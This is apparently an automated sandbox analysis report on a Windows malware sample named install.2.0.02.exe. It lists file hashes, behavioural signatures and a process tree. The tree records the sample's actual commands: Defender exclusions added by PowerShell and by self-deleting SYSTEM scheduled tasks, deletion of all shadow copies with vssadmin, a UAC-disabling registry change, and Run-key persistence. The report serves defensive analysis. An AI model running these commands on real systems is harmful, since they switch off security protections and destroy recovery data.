Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/10/2026, 17:20
Static task
static1
Behavioral task
behavioral1
Sample
install.2.0.02.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
install.2.0.02.exe
Resource
win11ltsc2024-20260911-en
General
- Target install.2.0.02.exe
- Size 34.6MB
- Sample261022-vwpmbagv8p
- SHA256 b817bd9631fb7e0f5cc5b937232b0b7529655a5169367d8a45f899f55a67aa72
- MD5 b0d0afac58c62e14cf6958ff8fd343da
- SHA1 3d4cb8cecde10692e22da33a2839d4f45ed99d0c
- SHA512 57fc211d9aadb6792951653a84ffea220e3ea526b08d4a6c1c48375fafaf019440eacf3a41ec976215733877dca44aec1ba0e3a296cd6bf6a28abd95e1b9501e
- SSDEEP 98304:n6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAI:6ukQmH0HmKxofM3nl6UfMYrLgAI
- TLSH T1E8876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" MjrbnE.exe - Windows security bypass 2 TTPs 6 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\cjec5i = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4272 powershell.exe 4848 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts MjrbnE.exe - Modifies RDP port number used by Windows 1 TTPs
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MjrbnE.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 7 IoCs
pid Process 2764 bo79Bu.exe 5408 bo79Bu.exe 4352 MjrbnE.exe 2828 MjrbnE.exe 1740 1lrJvy.exe 4292 1lrJvy.exe 4504 MjrbnE.exe - Loads dropped DLL 7 IoCs
pid Process 2764 bo79Bu.exe 5408 bo79Bu.exe 4352 MjrbnE.exe 2828 MjrbnE.exe 1740 1lrJvy.exe 4292 1lrJvy.exe 4504 MjrbnE.exe - Modifies file permissions 1 TTPs 15 IoCs
pid Process 5748 icacls.exe 1308 icacls.exe 2924 icacls.exe 6024 icacls.exe 2520 icacls.exe 4844 icacls.exe 5400 icacls.exe 548 icacls.exe 4316 icacls.exe 4880 icacls.exe 1732 icacls.exe 3980 icacls.exe 4964 icacls.exe 5364 icacls.exe 5636 icacls.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\cjec5i\\bo79Bu.exe\"" bo79Bu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\MjrbnE\\MjrbnE.exe\"" MjrbnE.exe - Indicator Removal: Clear Persistence 1 TTPs 7 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 5968 cmd.exe 1936 cmd.exe 5864 cmd.exe 5804 cmd.exe 2752 cmd.exe 1068 cmd.exe 4456 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b bo79Bu.exe - Drops file in Program Files directory 18 IoCs
description ioc Process File created C:\Program Files (x86)\lx2dpW\image.png MjrbnE.exe File opened for modification C:\Program Files (x86)\lx2dpW\image.png MjrbnE.exe File created C:\Program Files (x86)\lx2dpW\1lrJvy.exe MjrbnE.exe File created C:\Program Files (x86)\MjrbnE\MjrbnE.exe bo79Bu.exe File created C:\Program Files (x86)\MjrbnE\XPSPLOG.dll bo79Bu.exe File created C:\Program Files (x86)\MjrbnE\image.png bo79Bu.exe File created C:\Program Files (x86)\MjrbnE\thumbs.db bo79Bu.exe File opened for modification C:\Program Files (x86)\MjrbnE\thumbs.db bo79Bu.exe File opened for modification C:\Program Files (x86)\MjrbnE\MjrbnE.exe bo79Bu.exe File created C:\Program Files (x86)\lx2dpW\thumbs.db MjrbnE.exe File opened for modification C:\Program Files (x86)\lx2dpW\XPSPLOG.dll MjrbnE.exe File opened for modification C:\Program Files (x86)\lx2dpW MjrbnE.exe File opened for modification C:\Program Files (x86)\lx2dpW\1lrJvy.exe MjrbnE.exe File opened for modification C:\Program Files (x86)\MjrbnE bo79Bu.exe File opened for modification C:\Program Files (x86)\MjrbnE\XPSPLOG.dll bo79Bu.exe File opened for modification C:\Program Files (x86)\MjrbnE\image.png bo79Bu.exe File opened for modification C:\Program Files (x86)\lx2dpW\thumbs.db MjrbnE.exe File created C:\Program Files (x86)\lx2dpW\XPSPLOG.dll MjrbnE.exe - Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9 MjrbnE.exe - Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2248 sc.exe 1920 sc.exe 3716 sc.exe 3068 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Screensaver 1 TTPs 3 IoCs
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\SCRNSAVE.EXE MjrbnE.exe Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaveActive = "0" MjrbnE.exe Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" MjrbnE.exe - Executes a command shell one-liner 1 TTPs 23 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2668 cmd.exe 4424 cmd.exe 1380 cmd.exe 1572 cmd.exe 1108 cmd.exe 2904 cmd.exe 5792 cmd.exe 2428 cmd.exe 3204 cmd.exe 2672 cmd.exe 4876 cmd.exe 3112 cmd.exe 1352 cmd.exe 1452 cmd.exe 3284 cmd.exe 2600 cmd.exe 3664 cmd.exe 1208 cmd.exe 5932 cmd.exe 2616 cmd.exe 6136 cmd.exe 5308 cmd.exe 4684 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname install.2.0.02.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain install.2.0.02.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname bo79Bu.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain bo79Bu.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname MjrbnE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain MjrbnE.exe - System Location Discovery: System Language Discovery 1 TTPs 38 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MjrbnE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1lrJvy.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1lrJvy.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MjrbnE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MjrbnE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz MjrbnE.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MjrbnE.exe - Modifies Control Panel 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" MjrbnE.exe Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0" MjrbnE.exe Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\SCRNSAVE.EXE MjrbnE.exe Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaveActive = "0" MjrbnE.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3492 schtasks.exe 4652 schtasks.exe 1544 schtasks.exe 3980 schtasks.exe 6012 schtasks.exe 1884 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 4340 install.2.0.02.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe 2764 bo79Bu.exe - Suspicious behavior: LoadsDriver 8 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 4272 powershell.exe Token: SeIncreaseQuotaPrivilege 4272 powershell.exe Token: SeSecurityPrivilege 4272 powershell.exe Token: SeTakeOwnershipPrivilege 4272 powershell.exe Token: SeLoadDriverPrivilege 4272 powershell.exe Token: SeSystemProfilePrivilege 4272 powershell.exe Token: SeSystemtimePrivilege 4272 powershell.exe Token: SeProfSingleProcessPrivilege 4272 powershell.exe Token: SeIncBasePriorityPrivilege 4272 powershell.exe Token: SeCreatePagefilePrivilege 4272 powershell.exe Token: SeBackupPrivilege 4272 powershell.exe Token: SeRestorePrivilege 4272 powershell.exe Token: SeShutdownPrivilege 4272 powershell.exe Token: SeDebugPrivilege 4272 powershell.exe Token: SeSystemEnvironmentPrivilege 4272 powershell.exe Token: SeRemoteShutdownPrivilege 4272 powershell.exe Token: SeUndockPrivilege 4272 powershell.exe Token: SeManageVolumePrivilege 4272 powershell.exe Token: 33 4272 powershell.exe Token: 34 4272 powershell.exe Token: 35 4272 powershell.exe Token: 36 4272 powershell.exe - Suspicious use of WriteProcessMemory 58 IoCs
description pid Process procid_target PID 2764 wrote to memory of 4272 2764 bo79Bu.exe 92 PID 2764 wrote to memory of 5864 2764 bo79Bu.exe 94 PID 5864 wrote to memory of 3492 5864 cmd.exe 97 PID 2764 wrote to memory of 5804 2764 bo79Bu.exe 99 PID 5864 wrote to memory of 5316 5864 cmd.exe 101 PID 2764 wrote to memory of 2752 2764 bo79Bu.exe 104 PID 5804 wrote to memory of 4652 5804 cmd.exe 106 PID 5864 wrote to memory of 2908 5864 cmd.exe 107 PID 2752 wrote to memory of 1544 2752 cmd.exe 108 PID 5804 wrote to memory of 3816 5804 cmd.exe 109 PID 2752 wrote to memory of 2392 2752 cmd.exe 111 PID 2764 wrote to memory of 1068 2764 bo79Bu.exe 112 PID 5804 wrote to memory of 5868 5804 cmd.exe 114 PID 2752 wrote to memory of 2692 2752 cmd.exe 115 PID 1068 wrote to memory of 3980 1068 cmd.exe 116 PID 2764 wrote to memory of 4456 2764 bo79Bu.exe 119 PID 1068 wrote to memory of 5812 1068 cmd.exe 121 PID 4456 wrote to memory of 6012 4456 cmd.exe 123 PID 1068 wrote to memory of 1148 1068 cmd.exe 124 PID 4456 wrote to memory of 2280 4456 cmd.exe 125 PID 4456 wrote to memory of 2760 4456 cmd.exe 126 PID 4684 wrote to memory of 5968 4684 cmd.exe 128 PID 2428 wrote to memory of 6032 2428 cmd.exe 129 PID 2600 wrote to memory of 5904 2600 cmd.exe 130 PID 2764 wrote to memory of 4352 2764 bo79Bu.exe 132 PID 4352 wrote to memory of 2668 4352 MjrbnE.exe 134 PID 4352 wrote to memory of 3664 4352 MjrbnE.exe 135 PID 4352 wrote to memory of 4424 4352 MjrbnE.exe 136 PID 3664 wrote to memory of 5748 3664 cmd.exe 140 PID 4352 wrote to memory of 3204 4352 MjrbnE.exe 142 PID 4352 wrote to memory of 1208 4352 MjrbnE.exe 144 PID 1208 wrote to memory of 4964 1208 cmd.exe 146 PID 4352 wrote to memory of 1452 4352 MjrbnE.exe 147 PID 1452 wrote to memory of 5400 1452 cmd.exe 149 PID 4352 wrote to memory of 6136 4352 MjrbnE.exe 150 PID 6136 wrote to memory of 5364 6136 cmd.exe 152 PID 4352 wrote to memory of 2672 4352 MjrbnE.exe 153 PID 2672 wrote to memory of 4844 2672 cmd.exe 155 PID 4352 wrote to memory of 1108 4352 MjrbnE.exe 156 PID 1108 wrote to memory of 4316 1108 cmd.exe 158 PID 4352 wrote to memory of 1572 4352 MjrbnE.exe 159 PID 1572 wrote to memory of 1308 1572 cmd.exe 161 PID 4352 wrote to memory of 3112 4352 MjrbnE.exe 162 PID 3112 wrote to memory of 2520 3112 cmd.exe 164 PID 4352 wrote to memory of 1380 4352 MjrbnE.exe 165 PID 1380 wrote to memory of 6024 1380 cmd.exe 167 PID 4352 wrote to memory of 1352 4352 MjrbnE.exe 168 PID 1352 wrote to memory of 4880 1352 cmd.exe 170 PID 4352 wrote to memory of 2616 4352 MjrbnE.exe 171 PID 2616 wrote to memory of 1732 2616 cmd.exe 173 PID 4352 wrote to memory of 5932 4352 MjrbnE.exe 174 PID 5932 wrote to memory of 5636 5932 cmd.exe 176 PID 4352 wrote to memory of 5792 4352 MjrbnE.exe 177 PID 5792 wrote to memory of 2924 5792 cmd.exe 179 PID 4352 wrote to memory of 3284 4352 MjrbnE.exe 180 PID 3284 wrote to memory of 3980 3284 cmd.exe 182 PID 4352 wrote to memory of 4876 4352 MjrbnE.exe 183 PID 4876 wrote to memory of 548 4876 cmd.exe 185 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" MjrbnE.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4340
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C:\Users\Public\cjec5i\bo79Bu.exe"C:\Users\Public\cjec5i\bo79Bu.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cjec5i\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5864 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cjec5i\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3492
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5316
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5804 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4652
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3816
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5868
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1544
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2392
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3980
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5812
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6012
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2280
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2760
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C:\Program Files (x86)\MjrbnE\MjrbnE.exe"C:\Program Files (x86)\MjrbnE\MjrbnE.exe"2⤵
- UAC bypass
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- Enumerates video capture drivers
- Event Triggered Execution: Screensaver
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4352 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2668
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5748
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4424
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3204
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4964
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\MjrbnE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5400
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\MjrbnE\MjrbnE.exe" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6136 -
